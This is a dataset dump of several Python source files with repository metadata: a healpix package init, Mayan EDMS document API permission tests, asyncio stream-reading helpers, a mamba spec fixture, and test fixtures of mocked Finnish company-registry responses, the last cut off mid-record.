2019-07-04T08:09:47.000Z
2021-03-10T16:51:18.000Z
cdshealpix/ring/__init__.py
cds-astro/cds-healpix-python
bc02f2e7ccad1d55f3a5e4caac689d8cc29eadeb
[ "BSD-3-Clause" ]
1
2019-07-04T11:23:20.000Z
2019-07-04T11:23:20.000Z
from .healpix import *
22
22
0.772727
3
22
5.666667
1
0
0
0
0
0
0
0
0
0
0
0
0.136364
22
1
22
22
0.894737
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
df5dccbf385ce34fa5322e12bf25ca10a8a8bd7d
12,445
py
Python
mayan/apps/documents/tests/test_document_api.py
nattangwiwat/Mayan-EDMS-recitation
fcf16afb56eae812fb99144d65ae1ae6749de0b7
[ "Apache-2.0" ]
4
2021-09-02T00:16:30.000Z
2021-09-09T22:25:15.000Z
mayan/apps/documents/tests/test_document_api.py
nattangwiwat/Mayan-EDMS-recitation
fcf16afb56eae812fb99144d65ae1ae6749de0b7
[ "Apache-2.0" ]
86
2021-09-01T23:53:02.000Z
2021-09-20T02:25:10.000Z
mayan/apps/documents/tests/test_document_api.py
nattangwiwat/Mayan-EDMS-recitation
fcf16afb56eae812fb99144d65ae1ae6749de0b7
[ "Apache-2.0" ]
70
2021-09-01T12:54:51.000Z
2022-02-16T00:53:18.000Z
from rest_framework import status from mayan.apps.rest_api.tests.base import BaseAPITestCase from ..events import ( event_document_created, event_document_edited, event_document_file_created, event_document_file_edited, event_document_type_changed, event_document_version_created, event_document_version_page_created ) from ..models.document_models import Document from ..models.document_type_models import DocumentType from ..permissions import ( permission_document_create, permission_document_properties_edit, permission_document_view ) from .literals import TEST_DOCUMENT_TYPE_2_LABEL from .mixins.document_mixins import ( DocumentAPIViewTestMixin, DocumentTestMixin ) class DocumentAPIViewTestCase( DocumentAPIViewTestMixin, DocumentTestMixin, BaseAPITestCase ): auto_upload_test_document = False def test_document_create_api_view_no_permission(self): document_count = Document.objects.count() self._clear_events() response = self._request_test_document_create_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual( Document.objects.count(), document_count ) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_create_api_view_with_access(self): self.grant_access( obj=self.test_document_type, permission=permission_document_create ) document_count = Document.objects.count() self._clear_events() response = self._request_test_document_create_api_view() self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual( Document.objects.count(), document_count + 1 ) events = self._get_test_events() self.assertEqual(events.count(), 1) self.assertEqual(events[0].action_object, self.test_document_type) self.assertEqual(events[0].actor, self._test_case_user) self.assertEqual(events[0].target, self.test_document) self.assertEqual(events[0].verb, event_document_created.id) def test_document_change_type_api_view_no_permission(self): self._upload_test_document() self.test_document_type_2 = DocumentType.objects.create( label=TEST_DOCUMENT_TYPE_2_LABEL ) self._clear_events() response = self._request_test_document_change_type_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.test_document.refresh_from_db() self.assertNotEqual( self.test_document.document_type, self.test_document_type_2 ) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_change_type_api_view_with_access(self): self._upload_test_document() self.grant_access( obj=self.test_document, permission=permission_document_properties_edit ) self.test_document_type_2 = DocumentType.objects.create( label=TEST_DOCUMENT_TYPE_2_LABEL ) self._clear_events() response = self._request_test_document_change_type_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK) self.test_document.refresh_from_db() self.assertEqual( self.test_document.document_type, self.test_document_type_2 ) events = self._get_test_events() # Only the change event, should not have an event for the first # .save() method call. self.assertEqual(events.count(), 1) self.assertEqual(events[0].action_object, self.test_document_type_2) self.assertEqual(events[0].actor, self._test_case_user) self.assertEqual(events[0].target, self.test_document) self.assertEqual(events[0].verb, event_document_type_changed.id) def test_document_detail_api_view_no_permission(self): self._upload_test_document() self._clear_events() response = self._request_test_document_detail_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_detail_api_view_with_access(self): self._upload_test_document() self.grant_access( obj=self.test_document, permission=permission_document_view ) self._clear_events() response = self._request_test_document_detail_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual( response.data['id'], self.test_document.pk ) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_edit_via_patch_api_view_no_permission(self): self._upload_test_document() document_description = self.test_document.description self._clear_events() response = self._request_test_document_edit_via_patch_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.test_document.refresh_from_db() self.assertEqual( self.test_document.description, document_description ) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_edit_via_patch_api_view_with_access(self): self._upload_test_document() document_description = self.test_document.description self.grant_access( obj=self.test_document, permission=permission_document_properties_edit ) self._clear_events() response = self._request_test_document_edit_via_patch_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK) self.test_document.refresh_from_db() self.assertNotEqual( self.test_document.description, document_description ) events = self._get_test_events() self.assertEqual(events.count(), 1) self.assertEqual(events[0].action_object, None) self.assertEqual(events[0].actor, self._test_case_user) self.assertEqual(events[0].target, self.test_document) self.assertEqual(events[0].verb, event_document_edited.id) def test_document_edit_via_put_api_view_no_permission(self): self._upload_test_document() document_description = self.test_document.description self._clear_events() response = self._request_test_document_edit_via_put_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.test_document.refresh_from_db() self.assertEqual( self.test_document.description, document_description ) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_edit_via_put_api_view_with_access(self): self._upload_test_document() document_description = self.test_document.description self.grant_access( obj=self.test_document, permission=permission_document_properties_edit ) self._clear_events() response = self._request_test_document_edit_via_put_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK) self.test_document.refresh_from_db() self.assertNotEqual( self.test_document.description, document_description ) events = self._get_test_events() self.assertEqual(events.count(), 1) self.assertEqual(events[0].action_object, None) self.assertEqual(events[0].actor, self._test_case_user) self.assertEqual(events[0].target, self.test_document) self.assertEqual(events[0].verb, event_document_edited.id) def test_document_list_api_view_no_permission(self): self._upload_test_document() self._clear_events() response = self._request_test_document_list_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.data['count'], 0) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_list_api_view_with_access(self): self._upload_test_document() self.grant_access( obj=self.test_document, permission=permission_document_view ) self._clear_events() response = self._request_test_document_list_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual( response.data['results'][0]['id'], self.test_document.pk ) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_upload_api_view_no_permission(self): document_count = Document.objects.count() self._clear_events() response = self._request_test_document_upload_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual( Document.objects.count(), document_count ) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_upload_api_view_with_access(self): self.grant_access( obj=self.test_document_type, permission=permission_document_create ) document_count = Document.objects.count() self._clear_events() response = self._request_test_document_upload_api_view() self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual( Document.objects.count(), document_count + 1 ) self.assertEqual(self.test_document.pk, response.data['id']) self.assertEqual( self.test_document.label, self.test_document.file_latest.filename ) self.assertEqual(self.test_document.pages.count(), 1) self.assertEqual(self.test_document.files.count(), 1) self.assertEqual(self.test_document.file_latest.exists(), True) self.assertEqual(self.test_document.file_latest.size, 17436) self.assertEqual( self.test_document.file_latest.mimetype, 'image/png' ) self.assertEqual(self.test_document.file_latest.encoding, 'binary') self.assertEqual( self.test_document.file_latest.checksum, 'efa10e6cc21f83078aaa94d5cbe51de67b51af706143bafc7fd6d4c02124879a' ) events = self._get_test_events() self.assertEqual(events.count(), 5) # Document created self.assertEqual(events[0].action_object, self.test_document_type) self.assertEqual(events[0].actor, self._test_case_user) self.assertEqual(events[0].target, self.test_document) self.assertEqual(events[0].verb, event_document_created.id) # Document file created self.assertEqual(events[1].action_object, self.test_document) self.assertEqual(events[1].actor, self._test_case_user) self.assertEqual(events[1].target, self.test_document.file_latest) self.assertEqual(events[1].verb, event_document_file_created.id) # Document file edited (MIME type, page count update) self.assertEqual(events[2].action_object, self.test_document) self.assertEqual(events[2].actor, self._test_case_user) self.assertEqual(events[2].target, self.test_document.file_latest) self.assertEqual(events[2].verb, event_document_file_edited.id) # Document version created self.assertEqual(events[3].action_object, self.test_document) self.assertEqual(events[3].actor, self._test_case_user) self.assertEqual(events[3].target, self.test_document.version_active) self.assertEqual(events[3].verb, event_document_version_created.id) # Document version page created self.assertEqual( events[4].actor, self._test_case_user ) self.assertEqual( events[4].action_object, self.test_document.version_active ) self.assertEqual( events[4].target, self.test_document.version_active.pages.first() ) self.assertEqual( events[4].verb, event_document_version_page_created.id )
33.910082
78
0.696906
1,460
12,445
5.544521
0.080822
0.143792
0.108709
0.054355
0.849537
0.826683
0.813959
0.77517
0.722298
0.70315
0
0.015094
0.217437
12,445
366
79
34.002732
0.8161
0.018321
0
0.613027
0
0
0.007945
0.005242
0
0
0
0
0.329502
1
0.05364
false
0
0.030651
0
0.091954
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
3398c099839be6baa3df4d20f124ccf0593667ce
1,820
py
Python
asysocks/common/aiowrappers.py
thesamesam/asysocks
06293c3a7bca35be522089d18f9031df078ba43e
[ "MIT" ]
14
2020-02-28T02:47:56.000Z
2022-03-05T15:38:41.000Z
asysocks/common/aiowrappers.py
thesamesam/asysocks
06293c3a7bca35be522089d18f9031df078ba43e
[ "MIT" ]
null
null
null
asysocks/common/aiowrappers.py
thesamesam/asysocks
06293c3a7bca35be522089d18f9031df078ba43e
[ "MIT" ]
2
2020-09-30T06:20:23.000Z
2022-03-05T11:32:22.000Z
import asyncio async def readexactly_or_exc(reader, n, timeout = None): """ Helper function to read exactly N amount of data from the wire. :param reader: The reader object :type reader: asyncio.StreamReader :param n: The maximum amount of bytes to read. :type n: int :param timeout: Time in seconds to wait for the reader to return data :type timeout: int :return: bytearray """ temp = await asyncio.gather(*[asyncio.wait_for(reader.readexactly(n), timeout = timeout)], return_exceptions=True) if isinstance(temp[0], bytes): return temp[0] else: raise temp[0] async def read_or_exc(reader, n, timeout = None): """ Helper function to read N amount of data from the wire. :param reader: The reader object :type reader: asyncio.StreamReader :param n: The maximum amount of bytes to read. BEWARE: this only sets an upper limit of the data to be read :type n: int :param timeout: Time in seconds to wait for the reader to return data :type timeout: int :return: bytearray """ temp = await asyncio.gather(*[asyncio.wait_for(reader.read(n), timeout = timeout)], return_exceptions=True) if isinstance(temp[0], bytes): return temp[0] else: raise temp[0] async def readuntil_or_exc(reader, separator = b'\n', timeout = None): """ Helper function to read stream until separator is hit. :param reader: The reader object :type reader: asyncio.StreamReader :param n: The maximum amount of bytes to read. BEWARE: this only sets an upper limit of the data to be read :type n: int :param timeout: Time in seconds to wait for the reader to return data :type timeout: int :return: bytearray """ temp = await asyncio.gather(*[asyncio.wait_for(reader.readuntil(separator), timeout = timeout)], return_exceptions=True) if isinstance(temp[0], bytes): return temp[0] else: raise temp[0]
33.090909
121
0.734066
287
1,820
4.61324
0.212544
0.033988
0.024924
0.040786
0.901057
0.901057
0.901057
0.876888
0.876888
0.876888
0
0.005948
0.168681
1,820
55
122
33.090909
0.869134
0
0
0.631579
0
0
0.002604
0
0
0
0
0
0
1
0
false
0
0.052632
0
0.210526
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
33e7ebf893411a52408d7ad03b6b61a8366ed0ef
248
py
Python
spec/fixtures/with_focus.py
kfischer-okarin/mamba
0a2c83e2e9b1fc06aa6165519bc2c8de418e906b
[ "MIT" ]
462
2015-01-02T19:59:33.000Z
2022-03-12T09:47:17.000Z
spec/fixtures/with_focus.py
kfischer-okarin/mamba
0a2c83e2e9b1fc06aa6165519bc2c8de418e906b
[ "MIT" ]
93
2015-01-31T13:18:47.000Z
2021-05-06T18:32:42.000Z
spec/fixtures/with_focus.py
kfischer-okarin/mamba
0a2c83e2e9b1fc06aa6165519bc2c8de418e906b
[ "MIT" ]
66
2015-04-24T14:12:13.000Z
2022-03-01T16:52:51.000Z
from mamba import description, it with description('Fixture#with_tags', 'integration'): with fit('first example', 'unit'): pass with fdescription('Fixture#with_tags', 'integration'): with it('first example', 'unit'): pass
24.8
54
0.669355
29
248
5.655172
0.517241
0.134146
0.182927
0.317073
0.365854
0
0
0
0
0
0
0
0.189516
248
9
55
27.555556
0.81592
0
0
0.285714
0
0
0.362903
0
0
0
0
0
0
1
0
true
0.285714
0.142857
0
0.142857
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
6
1d4f8855fd7be17ff670b12a693bf0121d48fa52
95,735
py
Python
backend/benefit/companies/tests/data/company_data.py
City-of-Helsinki/kesaseteli
964f801c2dba72c4105b6e436b12b821b199d6d2
[ "MIT" ]
2
2021-05-10T09:28:35.000Z
2021-05-17T12:15:34.000Z
backend/benefit/companies/tests/data/company_data.py
City-of-Helsinki/yjdh
1c07576b456d2be9c3171363450ed46de2c1bbcb
[ "MIT" ]
931
2021-05-21T15:24:35.000Z
2022-03-31T20:07:40.000Z
backend/benefit/companies/tests/data/company_data.py
City-of-Helsinki/yjdh
1c07576b456d2be9c3171363450ed46de2c1bbcb
[ "MIT" ]
6
2021-07-06T11:07:02.000Z
2022-02-07T12:42:21.000Z
from django.conf import settings def get_dummy_company_data(): dummy_data = DUMMY_COMPANY_DATA.copy() if hasattr(settings, "DUMMY_COMPANY_FORM") and settings.DUMMY_COMPANY_FORM: dummy_data["company_form"] = settings.DUMMY_COMPANY_FORM return dummy_data DUMMY_COMPANY_DATA = { "id": "8c0c7a56-cb98-4c31-87ca-6f1853253986", "name": "I. Haanpää Oy", "business_id": "0877830-0", "company_form": "OY", "bank_account_number": "FI2112345600000785", "street_address": "Vasaratie 4 A 3", "postcode": "65350", "city": "Vaasa", } DUMMY_YTJ_RESPONSE = { "type": "fi.prh.opendata.tr", "version": "1", "totalResults": -1, "resultsFrom": 0, "previousResultsUri": None, "nextResultsUri": None, "exceptionNoticeUri": None, "results": [ { "businessId": "0877830-0", "name": "I. Haanpää Oy", "registrationDate": "1992-01-29", "companyForm": "OY", "detailsUri": "http://avoindata.prh.fi/opendata/tr/v1/0877830-0", "bisDetailsUri": "http://avoindata.prh.fi/opendata/bis/v1/0877830-0", "language": "FI", "latestRegistrationDate": "2021-01-12", "checkDate": None, "names": [ { "order": 0, "name": "I. Haanpää Oy", "registrationDate": "1999-03-31", "endDate": None, "language": None, } ], "auxiliaryNames": [], "companyForms": [{"type": "OY", "registrationDate": "1999-03-31"}], "addresses": [ { "street": "Vasaratie 4 A 3", "postCode": "65350", "type": 2, "city": "Vaasa", "country": "FI", "website": None, "phone": "0400 665254", "fax": None, "registrationDate": "2020-07-22", "endDate": None, } ], "publicNotices": [ { "recordNumber": "2020/55730X", "registrationDate": "2021-01-01", "typeOfRegistration": "TA", "entryCodes": ["TASE"], "detailsUri": "http://avoindata.prh.fi/opendata/tr/v1/publicnotices/2020/55730X", }, { "recordNumber": "2020/290401", "registrationDate": "2020-06-15", "typeOfRegistration": "M", "entryCodes": [""], "detailsUri": "http://avoindata.prh.fi/opendata/tr/v1/publicnotices/2020/290401", }, { "recordNumber": "2019/53986T", "registrationDate": "2019-12-05", "typeOfRegistration": "TA", "entryCodes": ["TASE"], "detailsUri": "http://avoindata.prh.fi/opendata/tr/v1/publicnotices/2019/53986T", }, { "recordNumber": "2019/250695", "registrationDate": "2019-07-09", "typeOfRegistration": "M", "entryCodes": ["HAL"], "detailsUri": "http://avoindata.prh.fi/opendata/tr/v1/publicnotices/2019/250695", }, { "recordNumber": "2018/50210V", "registrationDate": "2018-10-19", "typeOfRegistration": "TA", "entryCodes": ["TASE"], "detailsUri": "http://avoindata.prh.fi/opendata/tr/v1/publicnotices/2018/50210V", }, { "recordNumber": "2017/46683V", "registrationDate": "2017-10-21", "typeOfRegistration": "TA", "entryCodes": ["TASE"], "detailsUri": "http://avoindata.prh.fi/opendata/tr/v1/publicnotices/2017/46683V", }, { "recordNumber": "2016/86280V", "registrationDate": "2016-11-03", "typeOfRegistration": "TA", "entryCodes": ["TASE"], "detailsUri": "http://avoindata.prh.fi/opendata/tr/v1/publicnotices/2016/86280V", }, { "recordNumber": "2015/739492", "registrationDate": "2015-11-04", "typeOfRegistration": "M", "entryCodes": ["TILTAR"], "detailsUri": "http://avoindata.prh.fi/opendata/tr/v1/publicnotices/2015/739492", }, { "recordNumber": "2015/84509U", "registrationDate": "2015-10-08", "typeOfRegistration": "TA", "entryCodes": ["TASE"], "detailsUri": "http://avoindata.prh.fi/opendata/tr/v1/publicnotices/2015/84509U", }, ], "registeredOffices": [ { "registeredOffice": "Vaasa", "language": "EN", "registrationDate": "2005-01-25", "endDate": None, }, { "registeredOffice": "Vasa", "language": "SE", "registrationDate": "2005-01-25", "endDate": None, }, { "registeredOffice": "Vaasa", "language": "FI", "registrationDate": "2005-01-25", "endDate": None, }, ], } ], } DUMMY_YTJ_BUSINESS_DETAILS_RESPONSE = { "type": "fi.prh.opendata.bis", "version": "1", "totalResults": -1, "resultsFrom": 0, "previousResultsUri": None, "nextResultsUri": None, "exceptionNoticeUri": None, "results": [ { "businessId": "0877830-0", "name": "I. Haanpää Oy", "registrationDate": "1992-03-03", "companyForm": "OY", "detailsUri": None, "liquidations": [], "names": [ { "order": 0, "version": 1, "name": "I. Haanpää Oy", "registrationDate": "1999-03-31", "endDate": None, "source": 1, }, { "order": 0, "version": 2, "name": "I. Haanpää Ky", "registrationDate": "1992-01-29", "endDate": "1999-03-30", "source": 1, }, ], "auxiliaryNames": [], "addresses": [ { "careOf": None, "street": "Vasaratie 4 A 3", "postCode": "65350", "type": 1, "version": 2, "city": "VAASA", "country": None, "registrationDate": "2013-12-16", "endDate": "2013-12-18", "language": "FI", "source": 0, }, { "careOf": None, "street": "PL 327", "postCode": "65101", "type": 2, "version": 2, "city": "VAASA", "country": None, "registrationDate": "2013-12-16", "endDate": "2020-07-21", "language": "FI", "source": 0, }, { "careOf": None, "street": "", "postCode": None, "type": 1, "version": 1, "city": None, "country": None, "registrationDate": "2013-12-18", "endDate": None, "language": "FI", "source": 0, }, { "careOf": None, "street": "Vasaratie 4 A 3", "postCode": "65350", "type": 2, "version": 1, "city": "VAASA", "country": None, "registrationDate": "2020-07-22", "endDate": None, "language": "FI", "source": 0, }, ], "companyForms": [ { "version": 1, "name": "Osakeyhtiö", "type": "OY", "registrationDate": "1999-03-31", "endDate": None, "language": "FI", "source": 1, }, { "version": 1, "name": "Aktiebolag", "type": "AB", "registrationDate": "1999-03-31", "endDate": None, "language": "SE", "source": 1, }, { "version": 1, "name": "Limited company", "type": None, "registrationDate": "1999-03-31", "endDate": None, "language": "EN", "source": 1, }, ], "businessLines": [ { "order": 0, "version": 1, "code": "47594", "name": "Retail sale of household articles", "registrationDate": "2007-12-31", "endDate": None, "language": "EN", "source": 2, }, { "order": 0, "version": 1, "code": "47594", "name": "Taloustavaroiden vähittäiskauppa", "registrationDate": "2007-12-31", "endDate": None, "language": "FI", "source": 2, }, { "order": 0, "version": 1, "code": "47594", "name": "Specialiserad butikshandel med hushållsartiklar", "registrationDate": "2007-12-31", "endDate": None, "language": "SE", "source": 2, }, ], "languages": [ { "version": 1, "name": "Finnish", "registrationDate": "1992-03-03", "endDate": None, "language": "EN", "source": 0, }, { "version": 1, "name": "Suomi", "registrationDate": "1992-03-03", "endDate": None, "language": "FI", "source": 0, }, { "version": 1, "name": "Finska", "registrationDate": "1992-03-03", "endDate": None, "language": "SE", "source": 0, }, ], "registedOffices": [ { "order": 0, "version": 1, "name": "VAASA", "registrationDate": "2005-01-25", "endDate": None, "language": "EN", "source": 0, }, { "order": 0, "version": 1, "name": "VAASA", "registrationDate": "2005-01-25", "endDate": None, "language": "FI", "source": 0, }, { "order": 0, "version": 1, "name": "VASA", "registrationDate": "2005-01-25", "endDate": None, "language": "SE", "source": 0, }, { "order": 0, "version": 2, "name": "VÄHÄKYRÖ", "registrationDate": "1999-03-31", "endDate": "2005-01-24", "language": "EN", "source": 0, }, { "order": 0, "version": 2, "name": "VÄHÄKYRÖ", "registrationDate": "1999-03-31", "endDate": "2005-01-24", "language": "FI", "source": 0, }, { "order": 0, "version": 2, "name": "LILLKYRO", "registrationDate": "1999-03-31", "endDate": "2005-01-24", "language": "SE", "source": 0, }, ], "contactDetails": [ { "version": 1, "value": "0400 665254", "type": "Matkapuhelin", "registrationDate": "2005-01-11", "endDate": None, "language": "FI", "source": 0, }, { "version": 1, "value": "0400 665254", "type": "Mobiltelefon", "registrationDate": "2005-01-11", "endDate": None, "language": "SE", "source": 0, }, { "version": 1, "value": "0400 665254", "type": "Mobile phone", "registrationDate": "2005-01-11", "endDate": None, "language": "EN", "source": 0, }, { "version": 2, "value": "06 3129811", "type": "Puhelin", "registrationDate": "2005-01-11", "endDate": "2020-07-21", "language": "FI", "source": 0, }, { "version": 2, "value": "06 3129811", "type": "Telefon", "registrationDate": "2005-01-11", "endDate": "2020-07-21", "language": "SE", "source": 0, }, { "version": 2, "value": "06 3129811", "type": "Telephone", "registrationDate": "2005-01-11", "endDate": "2020-07-21", "language": "EN", "source": 0, }, { "version": 2, "value": "06 9129812", "type": "Faksi", "registrationDate": "2005-01-11", "endDate": "2020-07-21", "language": "FI", "source": 0, }, { "version": 2, "value": "06 9129812", "type": "Fax", "registrationDate": "2005-01-11", "endDate": "2020-07-21", "language": "SE", "source": 0, }, { "version": 2, "value": "06 9129812", "type": "Fax", "registrationDate": "2005-01-11", "endDate": "2020-07-21", "language": "EN", "source": 0, }, { "version": 1, "value": "", "type": "Puhelin", "registrationDate": "2020-07-22", "endDate": None, "language": "FI", "source": 0, }, { "version": 1, "value": "", "type": "Telefon", "registrationDate": "2020-07-22", "endDate": None, "language": "SE", "source": 0, }, { "version": 1, "value": "", "type": "Telephone", "registrationDate": "2020-07-22", "endDate": None, "language": "EN", "source": 0, }, { "version": 1, "value": "", "type": "Faksi", "registrationDate": "2020-07-22", "endDate": None, "language": "FI", "source": 0, }, { "version": 1, "value": "", "type": "Fax", "registrationDate": "2020-07-22", "endDate": None, "language": "SE", "source": 0, }, { "version": 1, "value": "", "type": "Fax", "registrationDate": "2020-07-22", "endDate": None, "language": "EN", "source": 0, }, ], "registeredEntries": [ { "authority": 1, "register": 4, "status": 1, "registrationDate": "1992-03-03", "endDate": None, "statusDate": "2020-06-03", "language": "FI", "description": "Rekisterissä", }, { "authority": 1, "register": 4, "status": 1, "registrationDate": "1992-03-03", "endDate": None, "statusDate": "2020-06-03", "language": "SE", "description": "Registrerad", }, { "authority": 1, "register": 4, "status": 1, "registrationDate": "1992-03-03", "endDate": None, "statusDate": "2020-06-03", "language": "EN", "description": "Registered", }, { "authority": 1, "register": 5, "status": 1, "registrationDate": "1995-03-01", "endDate": None, "statusDate": "2017-03-16", "language": "FI", "description": "Rekisterissä", }, { "authority": 1, "register": 5, "status": 1, "registrationDate": "1995-03-01", "endDate": None, "statusDate": "2017-03-16", "language": "SE", "description": "Registrerad", }, { "authority": 1, "register": 5, "status": 1, "registrationDate": "1995-03-01", "endDate": None, "statusDate": "2017-03-16", "language": "EN", "description": "Registered", }, { "authority": 1, "register": 6, "status": 1, "registrationDate": "1994-06-01", "endDate": None, "statusDate": "2008-07-21", "language": "FI", "description": "Liiketoiminnasta arvonlisäverovelvollinen", }, { "authority": 1, "register": 6, "status": 1, "registrationDate": "1994-06-01", "endDate": None, "statusDate": "2008-07-21", "language": "SE", "description": "Momsskyldig för rörelseverksamhet", }, { "authority": 1, "register": 6, "status": 1, "registrationDate": "1994-06-01", "endDate": None, "statusDate": "2008-07-21", "language": "EN", "description": "VAT-liable for business activity", }, { "authority": 1, "register": 6, "status": 1, "registrationDate": "2008-08-01", "endDate": None, "statusDate": "2008-07-21", "language": "FI", "description": "Kiinteistön käyttöoikeuden luovuttamisesta", }, { "authority": 1, "register": 6, "status": 1, "registrationDate": "2008-08-01", "endDate": None, "statusDate": "2008-07-21", "language": "SE", "description": "För överlåtelse av nyttjanderätten till en fastighet", }, { "authority": 1, "register": 6, "status": 1, "registrationDate": "2008-08-01", "endDate": None, "statusDate": "2008-07-21", "language": "EN", "description": "VAT-obliged for the transfer of rights to use immovable property", }, { "authority": 1, "register": 7, "status": 1, "registrationDate": "1992-03-01", "endDate": None, "statusDate": "2001-03-30", "language": "FI", "description": "Rekisterissä", }, { "authority": 1, "register": 7, "status": 1, "registrationDate": "1992-03-01", "endDate": None, "statusDate": "2001-03-30", "language": "SE", "description": "Registrerad", }, { "authority": 1, "register": 7, "status": 1, "registrationDate": "1992-03-01", "endDate": None, "statusDate": "2001-03-30", "language": "EN", "description": "Registered", }, { "authority": 2, "register": 1, "status": 1, "registrationDate": "1992-01-29", "endDate": None, "statusDate": "1992-01-29", "language": "FI", "description": "Rekisterissä", }, { "authority": 2, "register": 1, "status": 1, "registrationDate": "1992-01-29", "endDate": None, "statusDate": "1992-01-29", "language": "SE", "description": "Registrerad", }, { "authority": 2, "register": 1, "status": 1, "registrationDate": "1992-01-29", "endDate": None, "statusDate": "1992-01-29", "language": "EN", "description": "Registered", }, ], "businessIdChanges": [], } ], } DUMMY_ASSOCIATION_DATA = { "id": "8c0c7a56-cb98-4c31-87ca-6f1853253987", "name": "SIPOON NUORISOMUSIIKINYHDISTYS SUSIMUSA ry", "business_id": "2686723-5", "company_form": "association", "bank_account_number": "FI2112345600000785", "street_address": "Vasaratie 4 A 3", "postcode": "65350", "city": "Vaasa", } DUMMY_YRTTI_RESPONSE = { "BasicInfoResponse": { "AssociationNameInfo": [ { "AssociationNameType": "P", "AssociationName": "SIPOON NUORISOMUSIIKINYHDISTYS SUSIMUSA ry", "AssociationNameLanguage": "FI", "AssociationIndustry": None, "AssociationNameStatus": "R", "AssociationNameStartDate": "2007-02-27T00:00:00.000+00:00", }, { "AssociationNameType": "P", "AssociationName": "SIPOON NUORISOMUSIIKINYHDISTYS SYSIMUSA ry", "AssociationNameLanguage": "FI", "AssociationIndustry": None, "AssociationNameStatus": "VE", "AssociationNameStartDate": None, }, ], "BusinessId": "2686723-5", "RegistrationNumber": "195.883", "Domicile": "753", "DomicileStartDate": "2007-02-27T00:00:00.000+00:00", "AssociationRegistrationLanguage": "FI", "Address": [ { "AddressTypeCode": "YRPO", "FormattedAddressFI": "Lamberg Matti Olavi\nKatajakalliontie 16\n01120 Västerskog\nSuomi", "FormattedAddressEN": "Lamberg Matti Olavi\nKatajakalliontie 16\n01120 Västerskog\nFinland", "FormattedAddressSE": "Lamberg Matti Olavi\nKatajakalliontie 16\n01120 Västerskog\nFinland", "CoAddress": None, "StreetName": "Lamberg Matti Olavi\nKatajakalliontie 16", "HouseNumber": None, "Stair": None, "FlatNumber": None, "FlatDivisionLetter": None, "PoBoxPrefix": None, "PoBox": None, "PostCode": "01120", "City": "Västerskog", "CountryCode": "FI", "AddressAbroad": None, } ], "ContactInfo": None, "RegistryDate": "2007-02-27T00:00:00.000+00:00", "LastRegistrationPeriod": "2007-02-27T00:00:00.000+00:00", "AssociationStatus": "R", "AssociationStatusDate": "2007-02-27T00:00:00.000+00:00", "AssociationSpecialCondition": None, "AssociationSpecialConditionDate": None, "EndRegistrationReason": None, "PurposeClassMain": "400", "PurposeClassSecondary": "400", }, "faultCode": None, "faultString": None, } DUMMY_SERVICE_BUS_RESPONSE = { "GetCompanyResult": { "Company": { "BusinessId": "0877830-0", "Person": None, "TradeName": { "Name": "I. Haanpää Oy", "Validity": { "StartDate": "1999-03-31T00:00:00.000+00:00", "EndDate": None, }, "Source": { "PrimaryCode": "TLAHDE", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Patentti- ja rekisterihallitus", }, { "Language": "sv", "Type": "Default", "Description": "Patent- och registerstyrelsen", }, { "Language": "en", "Type": "Default", "Description": "Finnish Patent and Registration Office", }, ] }, }, "Type": { "PrimaryCode": "TLAJI", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Toiminimi", }, { "Language": "sv", "Type": "Default", "Description": "Firma", }, { "Language": "en", "Type": "Default", "Description": "Company name", }, ] }, }, }, "AuxiliaryTradeNames": None, "ParallelTradeNames": None, "Bankruptcy": None, "CompanyReorganisation": None, "Liquidation": None, "BusinessInterruption": None, "LegalForm": { "CodeActive": True, "Validity": { "StartDate": "1999-03-31T00:00:00.000+00:00", "EndDate": None, }, "Source": { "PrimaryCode": "TLAHDE", "SecondaryCode": "1", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Patentti- ja rekisterihallitus", }, { "Language": "sv", "Type": "Default", "Description": "Patent- och registerstyrelsen", }, { "Language": "en", "Type": "Default", "Description": "Finnish Patent and Registration Office", }, ] }, }, "Type": { "PrimaryCode": "YRMU", "SecondaryCode": "16", "Descriptions": { "CodeDescription": [ { "Language": "fi", "Type": "Default", "Description": "Osakeyhtiö", }, { "Language": "sv", "Type": "Default", "Description": "Aktiebolag", }, { "Language": "en", "Type": "Default", "Description": "Limited company", }, ] }, }, }, "Municipality": { "CodeActive": True, "Validity": { "StartDate": "2005-01-25T00:00:00.000+00:00", 